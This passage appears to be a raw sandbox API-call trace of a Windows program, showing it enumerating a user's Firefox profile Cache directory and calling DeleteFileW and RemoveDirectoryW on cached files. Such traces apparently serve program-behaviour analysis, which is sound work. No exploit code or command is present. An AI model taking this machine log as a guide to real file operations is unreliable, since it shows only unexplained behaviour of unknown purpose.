ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.099] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x6b0f6b0 | out: lpFindFileData=0x6b0f6b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xea5a1d60, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xea5a1d60, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 1 [0117.099] lstrcpyW (in: lpString1=0x9770cb0, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\" [0117.099] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\", lpString2="3y2joh8o.default" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0117.099] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", lpString2="\\cache2\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cache2\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cache2\\" [0117.099] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cache2\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache2")) returned 0xffffffff [0117.099] lstrcpyW (in: lpString1=0x9770cb0, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\" [0117.099] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\", lpString2="3y2joh8o.default" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0117.100] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", lpString2="\\Cache\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\" [0117.100] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache")) returned 0x2010 [0117.100] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\") returned 80 [0117.100] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fa00 [0117.100] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xaa) returned 0x9770ed0 [0117.100] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9b6fc10 [0117.100] PathCombineW (in: pszDest=0x9770ed0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\*.*" [0117.100] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\*.*", lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40e45660, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x40e45660, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName=".", cAlternateFileName="")) returned 0x4466580 [0117.100] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40e45660, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x40e45660, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="..", cAlternateFileName="")) returned 1 [0117.100] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x9f3f7040, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f3f7040, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="0", cAlternateFileName="")) returned 1 [0117.100] lstrlenW (lpString="0") returned 1 [0117.100] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="0" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0" [0117.100] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0") returned 81 [0117.100] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.100] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.100] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.100] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\*.*" [0117.100] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x9f3f7040, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f3f7040, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.101] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x9f3f7040, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f3f7040, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.101] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4257ace0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x4257ace0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x4257ace0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="98", cAlternateFileName="")) returned 1 [0117.101] lstrlenW (lpString="98") returned 2 [0117.101] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0", pszFile="98" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\98") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\98" [0117.101] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\98") returned 84 [0117.101] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.101] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.101] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.101] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\98", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\98\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\98\\*.*" [0117.101] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\98\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4257ace0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x4257ace0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x4257ace0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.101] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4257ace0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x4257ace0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x4257ace0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.102] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4257ace0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x4257ace0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x425ed100, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xbef2, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="B60F3d01", cAlternateFileName="")) returned 1 [0117.102] lstrlenW (lpString="B60F3d01") returned 8 [0117.102] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\98", pszFile="B60F3d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\98\\B60F3d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\98\\B60F3d01" [0117.102] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\98\\B60F3d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\0\\98\\b60f3d01")) returned 1 [0117.102] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4257ace0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x4257ace0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x425ed100, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xbef2, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="B60F3d01", cAlternateFileName="")) returned 0 [0117.102] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.102] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.102] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.102] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.102] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\98" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\0\\98")) returned 1 [0117.102] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9f3f7040, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f3f7040, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f3f7040, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="A8", cAlternateFileName="")) returned 1 [0117.103] lstrlenW (lpString="A8") returned 2 [0117.103] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0", pszFile="A8" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\A8") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\A8" [0117.103] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\A8") returned 84 [0117.103] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.103] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.103] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.103] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\A8", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\A8\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\A8\\*.*" [0117.103] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\A8\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9f3f7040, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f3f7040, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f3f7040, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.156] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9f3f7040, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f3f7040, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f3f7040, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.156] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f3f7040, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f3f7040, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f3f7040, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x4898, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="C3B7Bd01", cAlternateFileName="")) returned 1 [0117.156] lstrlenW (lpString="C3B7Bd01") returned 8 [0117.156] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\A8", pszFile="C3B7Bd01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\A8\\C3B7Bd01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\A8\\C3B7Bd01" [0117.156] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\A8\\C3B7Bd01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\0\\a8\\c3b7bd01")) returned 1 [0117.156] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f3f7040, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f3f7040, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f3f7040, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x4898, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="C3B7Bd01", cAlternateFileName="")) returned 0 [0117.156] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.156] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.156] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.156] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.156] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\A8" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\0\\a8")) returned 1 [0117.157] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="CB", cAlternateFileName="")) returned 1 [0117.157] lstrlenW (lpString="CB") returned 2 [0117.157] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0", pszFile="CB" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\CB") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\CB" [0117.157] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\CB") returned 84 [0117.157] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.157] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.157] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.157] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\CB", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\CB\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\CB\\*.*" [0117.157] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\CB\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.157] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.157] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x48ba, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="44E8Cd01", cAlternateFileName="")) returned 1 [0117.157] lstrlenW (lpString="44E8Cd01") returned 8 [0117.157] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\CB", pszFile="44E8Cd01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\CB\\44E8Cd01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\CB\\44E8Cd01" [0117.157] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\CB\\44E8Cd01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\0\\cb\\44e8cd01")) returned 1 [0117.192] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x48ba, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="44E8Cd01", cAlternateFileName="")) returned 0 [0117.192] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.192] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.192] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.192] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.192] RemoveDirectoryW 